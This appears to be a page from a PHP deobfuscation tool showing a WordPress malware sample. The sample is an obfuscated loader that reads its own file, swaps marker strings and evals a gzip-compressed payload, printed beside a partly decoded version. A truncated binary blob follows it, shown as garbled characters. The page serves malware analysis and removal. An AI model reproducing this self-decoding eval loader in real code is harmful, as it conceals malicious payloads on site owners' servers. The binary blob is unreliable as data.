PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $cNKO='gz'.'un'.'compress';$LcdQ='st'.'r'.'_r'.'eplac'.'e';$WquV='fi'.'le_'.'get'.'_cont'.'ents';$NGKH='s'.'u'.'bstr';$IgTX='e'.'xit';eval($cNKO($LcdQ('uotdbnfkhj','>',$LcdQ('htmcudvrpx','<',$NGKH($WquV( FILE ),-42781)))));$IgTX(0); ?> x�t�G��ຝ��\��)��9�"N�HEΙ_o��]��...

Obfuscated php code

<?php
$cNKO='gz'.'un'.'compress';$LcdQ='st'.'r'.'_r'.'eplac'.'e';$WquV='fi'.'le_'.'get'.'_cont'.'ents';$NGKH='s'.'u'.'bstr';$IgTX='e'.'xit';eval($cNKO($LcdQ('uotdbnfkhj','>',$LcdQ('htmcudvrpx','<',$NGKH($WquV( __FILE__ ),-42781)))));$IgTX(0);
?>
x�t�G��ຝ��\��)��9�"N�HEΙ_o�����]�����{ߵ�C�����D���?���u���sy����q�`�������3��-N��� ��W���=��{������vc��bY�e�������%y�N]r����g����]`x��.����b������8��_��I���
��?�G�T4��/��߻һ�	�_8(Z�?�O��{�����i�au�쐦Ч��}�]�Ҥ���A��К������"�S7eL�Q����]rc���G��������]�Zk��[YFr
�z:���VT��\hc�^htmcudvrpx�7"����4��Y
�}��,��O��_)�P��P�{�o=���?��(@ճ,��QL�%E��P��Z]

Decoded(de-Obfuscated) php code

<?php

$cNKO = 'gzuncompress';
$LcdQ = 'str_replace';
$WquV = 'file_get_contents';
$NGKH = 'substr';
$IgTX = 'exit';
eval(gzuncompress(str_replace('uotdbnfkhj', '>', str_replace('htmcudvrpx', '<', substr("<?php\r\n\$cNKO='gz'.'un'.'compress';\$LcdQ='st'.'r'.'_r'.'eplac'.'e';\$WquV='fi'.'le_'.'get'.'_cont'.'ents';\$NGKH='s'.'u'.'bstr';\$IgTX='e'.'xit';eval(\$cNKO(\$LcdQ('uotdbnfkhj','>',\$LcdQ('htmcudvrpx','<',\$NGKH(\$WquV( __FILE__ ),-42781)))));\$IgTX(0);\r\n?>\r\nx�t�G��ຝ��\31\\�\34\v�)��\19�\"N�HEΙ_o��\3\17���]�����{ߵ�C\3�����D���?���u���sy����q�`����\37���3��-N��� ��W���=\33��{�\36�����vc��bY�e���\7����%y�N]r����g����]`x��.����b\32��\36����8��_��I���\r\n��?�G�T4��/��߻һ�\t�_8(Z�?�O��{�����i�au�쐦Ч��}�]�Ҥ���A��К������\32\"�S7eL�Q����]\25rc���G��������]�\35Zk��[\22YFr\r\n�z:�\23\35��VT��\1\\hc\5�^htmcudvrpx�7\"����4��Y\r\n�}��,��\31O��_)�P��P�{�o=���?��(@ճ,��QL�%E��P�\35�Z]", 42781)))));
exit(0);
?>
x�t�G��ຝ��\��)��9�"N�HEΙ_o�����]�����{ߵ�C�����D���?���u���sy����q�`�������3��-N��� ��W���=��{������vc��bY�e�������%y�N]r����g����]`x��.����b������8��_��I���
��?�G�T4��/��߻һ�	�_8(Z�?�O��{�����i�au�쐦Ч��}�]�Ҥ���A��К������"�S7eL�Q����]rc���G��������]�Zk��[YFr
�z:���VT��\hc�^htmcudvrpx�7"����4��Y
�}��,��O��_)�P��P�{�o=���?��(@ճ,��QL�%E��P��Z]

Malware detection & removal plugin for WordPress